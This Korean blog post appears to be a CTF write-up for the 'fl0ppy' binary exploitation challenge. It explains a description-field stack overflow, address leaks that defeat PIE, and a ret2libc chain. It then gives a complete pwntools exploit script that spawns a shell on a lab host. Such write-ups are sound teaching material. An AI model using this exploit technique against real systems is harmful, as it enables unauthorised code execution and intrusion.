# file fl0ppy
floppy: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0181e2acbb1c70657d46c26eac0f75b29d82472d, stripped
NX 와 PIE 방어 기법이 걸린 32bit 바이너리이다.
전체적으로 watermelone 문제와 취약점이 터지는 방법이 비슷하다.
처음 디스크 할당 과정에서 description 10byte 를 입력받으나 modify 하면서 37byte 를 입력받게 된다. 이 때 ret 까지 덮어 쓸 수 있다. (fl0ppy1 에서 덮어쓰기 가능하다.)
main 함수 종료 부분이다. 일반적인 ret 함수를 실행하면서 종료되는 것과는 다른 것을 확인할 수 있다. 이전에서 설명했듯이 우리는 ret 까지 덮어 쓸 수 있다. 즉, ebp-8 부분이나 ecx 값을 원하는 값을 넣어 결과적으로 ret 주소를 컨트롤 할 수 있다.
exploit 과정에 대해 짧게 설명하자면,
1. PIE 기법이 걸려있으므로 leak 을 통해 stack addr, libc_base, __libc_start_main 등 주소를 구할 수 있고, libc-database 와 같은 offset 계산을 통해 system, /bin/sh 문자열의 주소를 알아낼 수 있다.
2. ret 주소에 원하는 주소를 실행시키기 위해 leak 한 stack 주소나 위의 main 함수 종료 부분의 ret 주소의 흐름을 바꿀 수 있는 esp, ebp-8, ecx 에 들어갈 값을 잘 계산한다..
[!] description 에 몇개의 데이터를 집어넣냐에 따라 릭을 할 수 있는 함수가 달라진다. hexdump 모듈을 이용하면 스택을 좀 더 편하게 볼 수 있다... 그리고 pwntool 을 공부하는 중인데 익숙하게 다루기만 한다면 훨씬 편하게 exploit 코드를 짤 수 있다.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
from pwn import *
from telnetlib import *
import hexdump
r = remote('192.168.127.162', 7778)
system_offset = 0x40310
binsh_offset = 0x16084c
payload_1 = "B"*24
payload_2 = "B"*32
print r.recvuntil('>')
r.sendline('1\n')
print r.recvuntil('1 or 2?\n')
r.sendline('1\n')
print r.recvuntil('>')
r.sendline('2\n')
print r.recvuntil('data: \n')
r.sendline('AAAA')
print r.recvuntil('Description: \n')
r.sendline('BBBB')
print r.recvuntil('>')
r.sendline('4\n')
print r.recvuntil('2 Data\n')
r.sendline('1\n')
print r.recvuntil('Input Description: \n')
# _libc_base leak
r.sendline(payload_1 + '\n')
print r.recvuntil('>')
r.sendline('1\n')
print r.recvuntil('1 or 2?\n')
r.sendline('1\n')
print r.recvuntil('>')
r.sendline('3\n')
data = r.recvuntil('>')
hexdump.hexdump(data)
_libc_base = u32(data[200:204]) - 0xa - 0x1ab000
print "[*] _libc_base = " + hex(_libc_base)
print data
r.sendline('4\n')
print r.recvuntil('2 Data\n')
r.sendline('1\n')
print r.recvuntil('Input Description: \n')
# stack_addr, __libc_start_main, calculate offset
r.sendline(payload_2 + '\n')
print r.recvuntil('>')
r.sendline('1\n')
print r.recvuntil('1 or 2?\n')
r.sendline('1\n')
print r.recvuntil('>')
r.sendline('3\n')
data1 = r.recvuntil('>')
hexdump.hexdump(data1)
main = u32(data1[208:212]) - 0xa
print "[*] main addr = " + hex(main)
stack_addr = u32(data1[192:196]) + 12
print "[*] stack_addr = " + hex(stack_addr)
system_libc = _libc_base + system_offset
print "[*] system_libc = " + hex(system_libc)
binsh_addr = _libc_base + binsh_offset
print "[*] /bin/sh addr = " + hex(binsh_addr)
# exploit
payload_3 = p32(system_libc) + "AAAA" + p32(binsh_addr) + "C"*8 + p32(stack_addr) + "C"*12
print data1
r.sendline('4\n')
print r.recvuntil('2 Data\n')
r.sendline('1\n')
print r.recvuntil('Input Description: \n')
r.sendline(payload_3 + '\n')
print r.recvuntil('>')
r.sendline('5\n')
r.interactive()
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'ctf' 카테고리의 다른 글
[DEFCON 2015 CTF] r0pbaby (0) | 2017.01.05 |
---|---|
[CodeGate 2016 CTF] BugBug (0) | 2017.01.04 |
[HolyShield 2016 CTF] pwnit (0) | 2016.12.19 |
[CodeGate 2016 CTF] Watermelon (0) | 2016.12.14 |
[SECCON 2016 CTF] cheer_msg (0) | 2016.12.12 |